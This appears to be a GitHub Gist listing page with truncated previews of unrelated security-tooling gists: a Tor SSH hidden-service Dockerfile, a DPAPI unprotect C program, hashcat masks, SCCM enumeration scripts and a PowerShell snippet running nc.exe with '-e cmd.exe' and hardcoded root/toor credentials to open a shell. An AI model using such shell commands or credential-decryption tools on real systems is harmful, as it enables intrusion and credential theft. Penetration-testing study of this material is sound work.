This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<html> | |
<body> | |
<script> | |
(async () => { | |
// Fetch the top story IDs | |
const topStoriesUrl = 'https://hacker-news.firebaseio.com/v0/topstories.json?print=pretty'; | |
const response = await fetch(topStoriesUrl); | |
const storyIds = await response.json(); | |
// Limit to the top 100 stories |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/* | |
* To build run the following commands (ensure that the path to vcvars64.bat matches with your build environment) | |
* call "C:\Program Files (x86)\Microsoft Visual Studio\2019\Enterprise\VC\Auxiliary\Build\vcvars64.bat" | |
* cl /EHsc unprotect.c /link Advapi32.lib Crypt32.lib | |
*/ | |
#include <windows.h> | |
#include <wincrypt.h> | |
#include <stdio.h> | |
#include <string.h> |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
FROM gradle:latest as restapi | |
WORKDIR /app | |
RUN echo -e '\033[36;1m ******* INSTALL GIT ******** \033[0m' && \ | |
apt-get update && apt-get upgrade -y && \ | |
apt-get install -y git jq | |
RUN echo -e '\033[36;1m ******* PULL BURP-REST-API (from Fork) ******** \033[0m' && \ | |
git clone https://github.com/vmware/burp-rest-api.git |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# | |
# # This is a Dockerfile which implements the basics for creating a ssh hidden service in a docker container | |
# | |
# # Usage: | |
# | |
# docker build --pull --rm -f "Dockerfile" -t torssh:latest "." | |
# docker run torssh:latest | |
# | |
# # It will output for you the onion url as well as the 100character random password | |
# # You have ~60 seconds to establish the connection before the service dies. |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
?u?l?d?d?d?d?d?d | |
?d?d?d?d?d?d?u?l | |
?u?d?d?d?d?d?d?l | |
?d?d?d?d?d?d?l?u | |
?l?u?d?d?d?d?d?d | |
?u?l?l?d?d?d?d?d | |
?d?d?d?d?d?u?l?l | |
?u?l?u?d?d?d?d?d | |
?u?l?l?l?d?d?d?d | |
?d?d?d?d?u?l?l?l |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
?u?l?d?d?d?d?d?d | |
?d?d?d?d?d?d?u?l | |
?u?d?d?d?d?d?d?l | |
?l?u?d?d?d?d?d?d | |
?d?d?d?d?d?d?l?u | |
?l?d?d?d?d?d?d?u | |
?d?d?d?d?u?l?d?d | |
?u?d?d?d?l?d?d?d | |
?u?d?d?l?d?d?d?d | |
?d?d?u?l?d?d?d?d |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<# | |
================ | |
PATCHEXTRACT.PS1 | |
================= | |
Version 1.25 Microsoft MSU Patch Extraction and Patch Organization Utility by Greg Linares (@Laughing_Mantis) | |
This Powershell script will extract a Microsoft MSU update file and then organize the output of extracted files and folders. | |
Organization of the output files is based on the patch's files and will organize them based on their archicture (x86, x64, or wow64) | |
as well as their content-type, ie: resource and catalog files will be moved to a JUNK subfolder and patch binaries and index files will |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
$cmd="nc.exe"; | |
$args="127.0.0.1 4444 -e cmd.exe"; | |
$user="root"; | |
$pass= ConvertTo-SecureString "toor" -AsPlainText -Force; | |
$p = New-Object System.Diagnostics.Process; | |
$p.StartInfo.FileName = $cmd; | |
$p.StartInfo.Arguments = $args; | |
$p.StartInfo.CreateNoWindow = $True; | |
$p.StartInfo.UseShellExecute = $False; | |
$p.StartInfo.UserName = $user; |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#You will need to have SCCM Admin Installed before running this script | |
Import-Module "$($ENV:SMS_ADMIN_UI_PATH)/../ConfigurationManager.psd1" | |
cd $(reg query 'HKLM\SOFTWARE\Microsoft\SMS\Mobile Client' /v AssignedSiteCode | where { $_.Contains("AssignedSiteCode") } | % { $_.Split(( " " ), [System.StringSplitOptions]::RemoveEmptyEntries)[2] + ":" }) | |
Get-CMUser | select SMSID | |
Get-CMApplication | select LocalizedDisplayName | |
Get-CMPackage -Fast | select Name, PkgSourcePath | |
Get-CMProgram | select ProgramName, CommandLine | |
Get-CMQuery | select Name, Expression | |
Get-CMResource -ResourceType System -Fast | select Name, IPAddress, IPSubnets, OperatingSystemNameandVersion, Build, BuildExt | |
Get-CMTaskSequence | select Name, Sequence |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#You will need to have SCCM Admin Installed before running this script | |
Import-Module "$($ENV:SMS_ADMIN_UI_PATH)/../ConfigurationManager.psd1" | |
cd $(reg query 'HKLM\SOFTWARE\Microsoft\SMS\Mobile Client' /v AssignedSiteCode | where { $_.Contains("AssignedSiteCode") } | % { $_.Split(( " " ), [System.StringSplitOptions]::RemoveEmptyEntries)[2] + ":" }) | |
Get-CMUser | select SMSID | |
Get-CMApplication | select LocalizedDisplayName | |
Get-CMPackage -Fast | select Name, PkgSourcePath | |
Get-CMProgram | select ProgramName, CommandLine | |
Get-CMQuery | select Name, Expression | |
Get-CMTaskSequence | select Name, Sequence | |
Get-CMTrustedRootCertificate |
NewerOlder